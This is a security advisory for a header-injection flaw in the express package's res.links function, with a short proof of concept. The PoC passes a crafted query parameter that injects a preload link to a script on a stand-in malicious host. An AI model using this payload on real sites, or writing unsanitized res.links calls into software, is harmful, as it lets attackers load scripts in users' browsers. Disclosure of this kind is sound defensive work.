Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting express package, versions <4.0.0-rc1

express is a minimalist web framework.

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') through the response.links function. An attacker can inject arbitrary resources into the Link header by using unsanitized input that includes special characters such as commas, semicolons, and angle brackets.

var express = require('express')
var app = express()

app.get('/', function (req, res) {
  res.links({"preload": req.query.resource});
  if(req.query.resource){
    console.log(res.getHeaders().link)
  }
  res.send('ok');
});
  
app.listen(3000);

// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';

const url = `http://localhost:3000/${maliciousQueryParam}`;
  
fetch(url);

• PoC
• Security Advisory